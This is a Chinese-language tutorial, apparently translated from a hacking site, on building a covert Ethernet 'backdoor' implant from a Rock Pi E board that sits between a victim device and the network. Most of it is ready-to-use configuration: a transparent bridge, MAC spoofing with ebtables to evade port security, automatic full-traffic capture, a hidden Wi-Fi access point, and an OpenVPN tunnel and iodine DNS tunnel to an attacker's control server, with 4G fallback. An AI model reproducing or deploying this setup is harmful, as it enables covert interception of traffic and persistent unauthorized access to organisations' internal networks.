导语:黑客获取目标设备未授权访问的方式不仅可以通过USB端口,还可以通过以太网连接——在现代办公室里,以太网端口无处不在。在本文中,我们将详细了解黑客如何利用一种特殊的”隐形”设备渗透本地网络,以及这种设备的设计原理。
你有多少次注意到打印机、IP电话,甚至是一整台电脑被放在某个公共场所?这些设备的共同点是它们通常使用标准网线连接到本地网络。
试想一下,攻击者如何利用一个无人值守的网络端口,连接的不是合法设备,而是一个特殊准备的装置——能够从世界任何地方提供远程访问。更重要的是,这个恶意设备可以插入而不中断原始设备的连接,而是放置在连接的”中间”位置。
这种设备的一个现成选项是Packet Squirrel(数据包松鼠)。也可以使用Rock Pi E这样的单板计算机轻松组装。

这块开发板非常适合这个任务,只包含必要组件。它有两个以太网端口、Wi-Fi和USB。Rock Pi E还支持可选的PoE(以太网供电),因此可以在没有USB电源的情况下工作——而USB电源在便利位置并不总是可用的。
我们需要什么
我们需要的是一个基于软件的集线器,能够将一个以太网端口接收到的每个数据包镜像到另一个端口。这允许设备无论连接在哪里都能插入网络。在端口之间转发数据包时,设备可以执行任何操作而不会引起受害者注意。此外,集线器配置应满足以下要求:
- 记录通过设备的所有流量
- 通过所连接的网络建立到控制服务器的VPN隧道,从世界任何地方提供远程访问
- 创建另一个使用DNS泄露的VPN隧道,即使没有直接互联网访问
- 设备通过内置Wi-Fi适配器提供网络访问
- 设备可以使用外部4G调制解调器建立连接
自然而然,所有这些都必须在设备连接后自动工作,因为黑客可能没有时间进行手动配置。为了灵活部署,可以使用额外的补丁线缆。

实现
将单板计算机配置为插入物理连接并不特别困难。首先,需要禁用可能干扰的默认组件:
Pi > update-rc.d network-manager disable
Pi > update-rc.d dhcpcd disable
接下来,配置自动桥接eth0和eth1接口:
/etc/network/interfaces
iface eth0 inet manual
iface eth1 inet manual
auto br0
iface br0 inet dhcp
bridge_ports eth0 eth1
metric 2
这是最小化设置。此时,硬件植入设备已经可以在透明桥接模式下运行了。在一个以太网端口上接收到的所有内容都会镜像到另一个端口,反之亦然。然而,黑客需要的不仅仅是被动流量转发。该设备还必须提供远程访问,这需要额外的内部网络配置。根据不同情况,可以使用不同的方法。
动态网络配置
许多组织使用DHCP进行自动网络配置。一旦设备获得自己的IP地址,它就不再只是一个”傻瓜”集线器,可以主动在网络中运行并转发流量。
由于植入物可能会长时间连接,而网络可能在VLAN之间切换,攻击者理想情况下会确保设备始终能够刷新其网络设置。这是通过强制周期性DHCP租约续订并在请求失败时重试来实现的。
/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;
静态配置
并非所有本地网络都有DHCP服务器。如果攻击者进入服务器网段或工业网络并放置植入物,情况尤其如此。在这种情况下,攻击者可以手动预配置网络设置。
/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2
端口安全
企业网络通常只允许特定的MAC地址访问。在这种情况下,受害者流量仍然会通过,因为桥接会透明地转发带有原始MAC地址的数据包。但是,使用自己的IP地址直接从Packet Squirrel进行访问将被阻止。但由于设备连接到受害者的计算机,它知道可信的MAC地址。因此,如果从设备发出的每个数据包都被修改,使得发送方MAC地址在一个端口上与受害者MAC地址匹配,在另一个端口上与网关MAC地址匹配,则流量与合法通信无法区分。
虽然这个概念听起来很简单,但实现起来并不容易。设备必须同时在两个方向上透明转发流量,同时还要代表受害者生成流量。一种可能的方法是复制受害者的MAC和IP地址:
Pi > sudo ifconfig br0 hw ether "$victim_mac"
Pi > sudo ifconfig br0 "$victim_ip/24"
Pi > sudo route add -net default gw "$gw_ip"
然而,这会导致系统内核由于MAC地址冲突而无法正确转发数据包的问题。为了绕过这个限制,设备可以在内部保留自己的MAC地址,但在数据包即将离开网络接口之前才重写MAC地址。
Pi > sudo ifconfig br0 "$victim_ip/24"
Pi > sudo route add default gw "$gw_ip"
# 网关方向
Pi > sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arp
Pi > sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)
# 受害者方向
Pi > sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arp
Pi > sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)
使用此设置,离开一个端口的数据包将具有受害者的MAC地址,离开另一个端口的数据包将使用网关的MAC地址。但是,传入的数据包也可能受到影响,从而阻止正常转发。使用标准基于桥接的数据包镜像在这里不方便,因为它为两个以太网端口创建了一个逻辑接口。攻击者需要通过每个接口独立发送数据包,同时仍保持透明转发。这可以使用流量控制机制来实现。
Pi > sudo ifconfig eth0 0 promisc up
Pi > sudo ifconfig eth1 0 promisc up
Pi > sudo ifconfig eth0 "$victim_ip/24" # 作为受害者向网关(LAN)操作
Pi > #sudo ifconfig eth1 "$gw_ip/24" # 相同,但向受害者
Pi > route add -net default gw "$gw_ip"
Pi > sudo tc qdisc add dev eth0 ingress
Pi > sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1
Pi > sudo tc qdisc add dev eth1 ingress
Pi > sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0
Pi > sudo iptables -A INPUT -i eth0 -p icmp -j DROP # 不响应来自传入的ICMP gw->victim
Pi > sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # 忽略ACK包,不在它们上面发送RST,以免破坏受害者的连接
使用此配置,设备可以插入合法的物理连接,在两个方向上透明镜像流量,同时代表受害者发送数据包。
被动嗅探
由于设备可以透明转发流量,因此可以轻松启用自动数据包捕获。
/lib/systemd/system/tcpdump.service
[Unit]
Description=tcpdump
[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
可以使用服务将流量记录配置为在系统启动时自动开始。
Pi > systemctl enable tcpdump.service
Pi > systemctl start tcpdump.service
由于所有流量都被记录,生成的转储文件可能会变得相当大。因此最好将它们存储在SD卡上的单独分区中。
/etc/fstab
/dev/mmcblk0p3 /media/sd ext3 defaults 0 0
Wi-Fi访问
由于该设备包含内置Wi-Fi适配器,因此可用于提供远程访问。这需要在适当的配置文件中指定无线网络设置。
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 11.0.0.1
netmask 255.255.255.0
客户端连接设置单独定义,无线网络相应配置。
/etc/dnsmasq.conf
domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
无线网络本身的配置如下:
/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=secretp@ssw0rd
所有必要的Wi-Fi服务都可以设置为自动启动:
Pi > systemctl unmask hostapd.service
Pi > systemctl enable hostapd.service
Pi > systemctl start hostapd.service
一旦植入物通电,黑客只需通过Wi-Fi连接即可访问网络。
VPN访问
黑客可以配置设备建立到远程控制服务器的VPN连接。
Pi > cp vds_config.ovpn /etc/openvpn/client/vds.conf
Pi > systemctl enable openvpn-client@vds
配置文件定义连接参数。
client
proto tcp
dev tap
remote 1.2.3.4 1194
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
route-noexec
cipher AES-128-CBC
keepalive 10 60
comp-lzo
persist-key
persist-tun
设备将尝试通过当前网络或外部4G连接进行连接(稍后讨论)。
DNS隧道访问
在某些情况下,本地网络不允许直接访问互联网,使得标准VPN连接不可能。然而,外部域名的DNS解析通常是允许的。在这种情况下,可以使用DNS查询建立VPN通道。
/lib/systemd/system/iodine.service
[Unit]
Description=iodine
[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
DNS隧道的自动启动通过系统命令配置。
Pi > systemctl enable iodine.service
Pi > systemctl start iodine.service
即使内部网络没有直接互联网访问,但允许任意DNS查询,设备也可以建立到控制服务器的VPN隧道,为攻击者提供远程访问。
4G访问
该设备旨在使用TCP或DNS隧道通过受感染网络提供互联网连接。但是,如果根本没有互联网访问,可以使用外部4G USB调制解调器建立单独的通信通道。
这只需要在配置中添加几行代码。系统只需在调制解调器的网络接口上启用DHCP。现代HiLink调制解调器显示为标准以太网设备,这简化了设置。
/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
metric 1
由于路由优先级设置,4G接口优先于以太网网络,确保当两条路由都可用时提供不间断的互联网访问。
总结
在所有场景中,以太网后门尝试连接到远程控制服务器,并为攻击者提供对内部网络的远程访问:
- 通过现有网络的VPN
- 通过现有网络使用DNS泄露的VPN
- 通过外部4G通道的VPN
- 通过Wi-Fi
此时,设备已完全配置,可在各种情况下运行。我们将在第二部分介绍如何使用此设备。请继续关注!
出处:https://hackers-arise.com/persistence-building-a-small-ethernet-persistence-device-part-1/
版权声明:本文由华盟网原创发布,保留所有权利。














暂无评论内容